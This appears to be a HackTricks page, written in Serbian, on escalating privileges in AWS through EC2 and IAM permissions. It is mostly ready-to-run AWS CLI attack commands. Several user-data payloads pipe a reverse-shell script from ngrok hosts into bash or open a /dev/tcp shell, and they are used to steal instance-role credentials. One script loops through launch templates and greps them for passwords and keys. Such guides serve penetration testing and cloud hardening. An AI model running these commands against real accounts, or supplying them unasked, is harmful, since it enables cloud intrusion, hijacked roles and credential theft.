AWS - EC2 Privesc

Reading time: 10 minutes

tip

Učite i vežbajte AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Učite i vežbajte GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Učite i vežbajte Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Podržite HackTricks

EC2

Za više informacija o EC2 proverite:

AWS - EC2, EBS, ELB, SSM, VPC & VPN Enum

iam:PassRole, ec2:RunInstances

Napadač bi mogao da kreira instancu povezujući IAM ulogu i zatim pristupi instanci da ukrade kredencijale IAM uloge sa metadata krajnje tačke.

  • Pristup preko SSH

Pokrenite novu instancu koristeći kreirani ssh ključ (--key-name) i zatim se povežite na nju putem ssh (ako želite da kreirate novi, možda će vam biti potrebna dozvola ec2:CreateKeyPair).

bash
aws ec2 run-instances --image-id <img-id> --instance-type t2.micro \
--iam-instance-profile Name=<instance-profile-name> --key-name <ssh-key> \
--security-group-ids <sg-id>
  • Pristup putem rev shell-a u korisničkim podacima

Možete pokrenuti novu instancu koristeći korisničke podatke (--user-data) koji će vam poslati rev shell. Na ovaj način ne morate da specificirate sigurnosnu grupu.

bash
echo '#!/bin/bash
curl https://reverse-shell.sh/4.tcp.ngrok.io:17031 | bash' > /tmp/rev.sh

aws ec2 run-instances --image-id <img-id> --instance-type t2.micro \
--iam-instance-profile Name=<instance-profile-name> \
--count 1 \
--user-data "file:///tmp/rev.sh"

Budite oprezni sa GuradDuty ako koristite kredencijale IAM uloge van instance:

AWS - GuardDuty Enum

Potencijalni uticaj: Direktno privesc na bilo koju EC2 ulogu koja je povezana sa postojećim profilima instance.

Privesc na ECS

Sa ovim skupom dozvola mogli biste takođe napraviti EC2 instancu i registrovati je unutar ECS klastera. Na ovaj način, ECS usluge će biti pokrenute unutar EC2 instance na kojoj imate pristup, a zatim možete prodrijeti u te usluge (docker kontejneri) i ukrasti njihove ECS uloge koje su povezane.

bash
aws ec2 run-instances \
--image-id ami-07fde2ae86109a2af \
--instance-type t2.micro \
--iam-instance-profile <ECS_role> \
--count 1 --key-name pwned \
--user-data "file:///tmp/asd.sh"

# Make sure to use an ECS optimized AMI as it has everything installed for ECS already (amzn2-ami-ecs-hvm-2.0.20210520-x86_64-ebs)
# The EC2 instance profile needs basic ECS access
# The content of the user data is:
#!/bin/bash
echo ECS_CLUSTER=<cluster-name> >> /etc/ecs/ecs.config;echo ECS_BACKEND_HOST= >> /etc/ecs/ecs.config;

Da biste naučili kako da prisilite ECS usluge da se pokrenu u ovoj novoj EC2 instanci, proverite:

AWS - ECS Privesc

Ako ne možete da kreirate novu instancu ali imate dozvolu ecs:RegisterContainerInstance, možda ćete moći da registrujete instancu unutar klastera i izvršite komentarisani napad.

Potencijalni uticaj: Direktno privesc na ECS uloge povezane sa zadacima.

iam:PassRole, iam:AddRoleToInstanceProfile

Slično prethodnom scenariju, napadač sa ovim dozvolama mogao bi da promeni IAM ulogu kompromitovane instance kako bi mogao da ukrade nove akreditive.
Pošto profil instance može imati samo 1 ulogu, ako profil instance već ima ulogu (uobičajen slučaj), takođe će vam biti potrebna iam:RemoveRoleFromInstanceProfile.

bash
# Removing role from instance profile
aws iam remove-role-from-instance-profile --instance-profile-name <name> --role-name <name>

# Add role to instance profile
aws iam add-role-to-instance-profile --instance-profile-name <name> --role-name <name>

Ako profil instance ima ulogu i napadač ne može da je ukloni, postoji još jedno rešenje. On može pronaći profil instance bez uloge ili napraviti novi (iam:CreateInstanceProfile), dodati ulogu tom profilu instance (kao što je ranije diskutovano), i povezati profil instance koji je kompromitovan sa kompromitovanom instancom:

  • Ako instanca nema nijedan profil instance (ec2:AssociateIamInstanceProfile)
bash
aws ec2 associate-iam-instance-profile --iam-instance-profile Name=<value> --instance-id <value>

Potencijalni uticaj: Direktno privesc na drugu EC2 ulogu (morate da ste kompromitovali AWS EC2 instancu i da imate dodatne dozvole ili specifičan status instance profila).

iam:PassRole(( ec2:AssociateIamInstanceProfile& ec2:DisassociateIamInstanceProfile) || ec2:ReplaceIamInstanceProfileAssociation)

Sa ovim dozvolama moguće je promeniti instance profil povezan sa instancom, tako da ako je napadač već imao pristup instanci, moći će da ukrade kredencijale za više uloga instance profila menjajući onaj koji je povezan sa njom.

  • Ako ima instance profil, možete ukloniti instance profil (ec2:DisassociateIamInstanceProfile) i povezati ga
bash
aws ec2 describe-iam-instance-profile-associations --filters Name=instance-id,Values=i-0d36d47ba15d7b4da
aws ec2 disassociate-iam-instance-profile --association-id <value>
aws ec2 associate-iam-instance-profile --iam-instance-profile Name=<value> --instance-id <value>
  • ili zameni profil instance kompromitovane instance (ec2:ReplaceIamInstanceProfileAssociation).
bash
aws ec2 replace-iam-instance-profile-association --iam-instance-profile Name=<value> --association-id <value>

Potencijalni uticaj: Direktno privesc na drugu EC2 ulogu (morate da ste kompromitovali AWS EC2 instancu i da imate dodatne dozvole ili specifičan status instance profila).

ec2:RequestSpotInstances,iam:PassRole

Napadač sa dozvolama ec2:RequestSpotInstances i iam:PassRole može zatražiti Spot Instancu sa priključenom EC2 ulogom i rev shell u korisničkim podacima.
Kada se instanca pokrene, može ukrasti IAM ulogu.

bash
REV=$(printf '#!/bin/bash
curl https://reverse-shell.sh/2.tcp.ngrok.io:14510 | bash
' | base64)

aws ec2 request-spot-instances \
--instance-count 1 \
--launch-specification "{\"IamInstanceProfile\":{\"Name\":\"EC2-CloudWatch-Agent-Role\"}, \"InstanceType\": \"t2.micro\", \"UserData\":\"$REV\", \"ImageId\": \"ami-0c1bc246476a5572b\"}"

ec2:ModifyInstanceAttribute

Napadač sa ec2:ModifyInstanceAttribute može da menja atribute instanci. Među njima, može da promeni korisničke podatke, što podrazumeva da može da natera instancu da izvrši proizvoljne podatke. To se može iskoristiti za dobijanje rev shell-a na EC2 instanci.

Napomena: Atributi se mogu menjati samo dok je instanca zaustavljena, tako da su potrebne dozvole ec2:StopInstances i ec2:StartInstances.

bash
TEXT='Content-Type: multipart/mixed; boundary="//"
MIME-Version: 1.0

--//
Content-Type: text/cloud-config; charset="us-ascii"
MIME-Version: 1.0
Content-Transfer-Encoding: 7bit
Content-Disposition: attachment; filename="cloud-config.txt"

#cloud-config
cloud_final_modules:
- [scripts-user, always]

--//
Content-Type: text/x-shellscript; charset="us-ascii"
MIME-Version: 1.0
Content-Transfer-Encoding: 7bit
Content-Disposition: attachment; filename="userdata.txt"

#!/bin/bash
bash -i >& /dev/tcp/2.tcp.ngrok.io/14510 0>&1
--//'
TEXT_PATH="/tmp/text.b64.txt"

printf $TEXT | base64 > "$TEXT_PATH"

aws ec2 stop-instances --instance-ids $INSTANCE_ID

aws ec2 modify-instance-attribute \
--instance-id="$INSTANCE_ID" \
--attribute userData \
--value file://$TEXT_PATH

aws ec2 start-instances --instance-ids $INSTANCE_ID

Potencijalni uticaj: Direktno privesc na bilo koju EC2 IAM ulogu povezanu sa kreiranom instancom.

ec2:CreateLaunchTemplateVersion,ec2:CreateLaunchTemplate,ec2:ModifyLaunchTemplate

Napadač sa dozvolama ec2:CreateLaunchTemplateVersion,ec2:CreateLaunchTemplate i ec2:ModifyLaunchTemplate može da kreira novu verziju Launch Template-a sa rev shell-om u korisničkim podacima i bilo kojom EC2 IAM ulogom na njemu, promeni podrazumevanu verziju, i bilo koja Autoscaler grupa koja koristi taj Launch Template koji je konfiguran da koristi najnoviju ili podrazumevanu verziju će ponovo pokrenuti instance koristeći taj template i izvršiće rev shell.

bash
REV=$(printf '#!/bin/bash
curl https://reverse-shell.sh/2.tcp.ngrok.io:14510 | bash
' | base64)

aws ec2 create-launch-template-version \
--launch-template-name bad_template \
--launch-template-data "{\"ImageId\": \"ami-0c1bc246476a5572b\", \"InstanceType\": \"t3.micro\", \"IamInstanceProfile\": {\"Name\": \"ecsInstanceRole\"}, \"UserData\": \"$REV\"}"

aws ec2 modify-launch-template \
--launch-template-name bad_template \
--default-version 2

Potencijalni uticaj: Direktno privesc na drugu EC2 ulogu.

autoscaling:CreateLaunchConfiguration, autoscaling:CreateAutoScalingGroup, iam:PassRole

Napadač sa dozvolama autoscaling:CreateLaunchConfiguration,autoscaling:CreateAutoScalingGroup,iam:PassRole može napraviti Launch Configuration sa IAM ulogom i rev shell unutar korisničkih podataka, zatim napraviti autoscaling grupu iz te konfiguracije i čekati da rev shell ukrade IAM ulogu.

bash
aws --profile "$NON_PRIV_PROFILE_USER" autoscaling create-launch-configuration \
--launch-configuration-name bad_config \
--image-id ami-0c1bc246476a5572b \
--instance-type t3.micro \
--iam-instance-profile EC2-CloudWatch-Agent-Role \
--user-data "$REV"

aws --profile "$NON_PRIV_PROFILE_USER" autoscaling create-auto-scaling-group \
--auto-scaling-group-name bad_auto \
--min-size 1 --max-size 1 \
--launch-configuration-name bad_config \
--desired-capacity 1 \
--vpc-zone-identifier "subnet-e282f9b8"

Potencijalni uticaj: Direktno privesc na drugu EC2 ulogu.

!autoscaling

Skup dozvola ec2:CreateLaunchTemplate i autoscaling:CreateAutoScalingGroup nije dovoljan za eskalaciju privilegija na IAM ulogu jer je za pridruživanje uloge navedene u Launch Configuration ili u Launch Template potrebno dozvola iam:PassRole i ec2:RunInstances (što je poznata privesc).

ec2-instance-connect:SendSSHPublicKey

Napadač sa dozvolom ec2-instance-connect:SendSSHPublicKey može dodati ssh ključ korisniku i koristiti ga za pristup (ako ima ssh pristup instanci) ili za eskalaciju privilegija.

bash
aws ec2-instance-connect send-ssh-public-key \
--instance-id "$INSTANCE_ID" \
--instance-os-user "ec2-user" \
--ssh-public-key "file://$PUBK_PATH"

Potencijalni uticaj: Direktno privesc na EC2 IAM uloge povezane sa aktivnim instancama.

ec2-instance-connect:SendSerialConsoleSSHPublicKey

Napadač sa dozvolom ec2-instance-connect:SendSerialConsoleSSHPublicKey može dodati ssh ključ na serijsku vezu. Ako serijska veza nije omogućena, napadač treba dozvolu ec2:EnableSerialConsoleAccess da je omogući.

Da biste se povezali na serijski port, takođe morate znati korisničko ime i lozinku korisnika unutar mašine.

bash
aws ec2 enable-serial-console-access

aws ec2-instance-connect send-serial-console-ssh-public-key \
--instance-id "$INSTANCE_ID" \
--serial-port 0 \
--region "eu-west-1" \
--ssh-public-key "file://$PUBK_PATH"

ssh -i /tmp/priv $INSTANCE_ID.port0@serial-console.ec2-instance-connect.eu-west-1.aws

Ovaj način nije previše koristan za privesc jer je potrebno znati korisničko ime i lozinku da bi se iskoristio.

Potencijalni uticaj: (Veoma neproveren) Direktan privesc na EC2 IAM uloge povezane sa aktivnim instancama.

describe-launch-templates,describe-launch-template-versions

Pošto launch templates imaju verzionisanje, napadač sa ec2:describe-launch-templates i ec2:describe-launch-template-versions dozvolama mogao bi da iskoristi ovo da otkrije osetljive informacije, kao što su akreditivi prisutni u korisničkim podacima. Da bi to postigao, sledeći skript prolazi kroz sve verzije dostupnih launch templates:

bash
for i in $(aws ec2 describe-launch-templates --region us-east-1 | jq -r '.LaunchTemplates[].LaunchTemplateId')
do
echo "[*] Analyzing $i"
aws ec2 describe-launch-template-versions --launch-template-id $i --region us-east-1 | jq -r '.LaunchTemplateVersions[] | "\(.VersionNumber) \(.LaunchTemplateData.UserData)"' | while read version userdata
do
echo "VersionNumber: $version"
echo "$userdata" | base64 -d
echo
done | grep -iE "aws_|password|token|api"
done

U gornjim komandama, iako specificiramo određene obrasce (aws_|password|token|api), možete koristiti drugačiji regex za pretragu drugih tipova osetljivih informacija.

Pretpostavljajući da pronađemo aws_access_key_id i aws_secret_access_key, možemo koristiti te akreditive za autentifikaciju na AWS.

Potencijalni uticaj: Direktno eskaliranje privilegija na IAM korisnika(e).

Reference

tip

Učite i vežbajte AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Učite i vežbajte GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Učite i vežbajte Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Podržite HackTricks